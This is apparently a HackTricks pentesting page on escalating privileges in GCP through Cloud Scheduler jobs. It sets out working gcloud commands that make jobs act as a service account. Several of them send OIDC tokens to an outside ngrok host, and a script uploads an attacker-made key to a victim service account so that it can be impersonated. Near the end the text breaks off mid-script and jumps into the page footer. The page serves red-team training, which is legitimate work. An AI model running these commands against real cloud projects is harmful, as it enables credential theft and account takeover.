# GCP - Cloud Scheduler Privesc {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Cloud Scheduler More information in: {% content-ref url="../gcp-services/gcp-cloud-scheduler-enum.md" %} [gcp-cloud-scheduler-enum.md](../gcp-services/gcp-cloud-scheduler-enum.md) {% endcontent-ref %} ### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`) An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command. * **Contact any google API via`googleapis.com` with OAuth token header** Create a new Storage bucket: {% code overflow="wrap" %} ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1 ``` {% endcode %} To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account** * **Exfiltrate OIDC service account token** {% code overflow="wrap" %} ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...'] # Listen in the ngrok address to get the OIDC token in clear text. ``` {% endcode %} If you need to check the HTTP response you might just t**ake a look at the logs of the execution**. ### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`) Like in the previous scenario it's possible to **update an already created scheduler** to steal the token or perform actions. For example: {% code overflow="wrap" %} ```bash gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...'] # Listen in the ngrok address to get the OIDC token in clear text. ``` {% endcode %} Another example to upload a private key to a SA and impersonate it: {% code overflow="wrap" %} ```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused" # Remove last new line character of the public key file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem # Update scheduler to upload the key to a SA ## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND gcloud scheduler jobs update http scheduler_lab_1 \ --schedule='* * * * *' \ --uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \ --message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \ --update-headers "Content-Type=application/json" \ --location us-central1 \ --oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com # Wait 1 min sleep 60 # Check the logs to check it worked gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1" jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project --format=json ## If any '"status": 200' it means it worked! ## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400 # Build the json to contact the SA ## Get privatekey in json format file_content=$(<"/tmp/private_key.pem") private_key_json=$(jq -Rn --arg str "$file_content" '$str') ## Get ID of the generated key gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com # Create the json in a file ## NOTE that you need to export your project-id in the env var PROJECT_ID ## and that this script is expecting the key ID to be the first one (check the `head`) export PROJECT_ID=... cat > /tmp/lab.json <[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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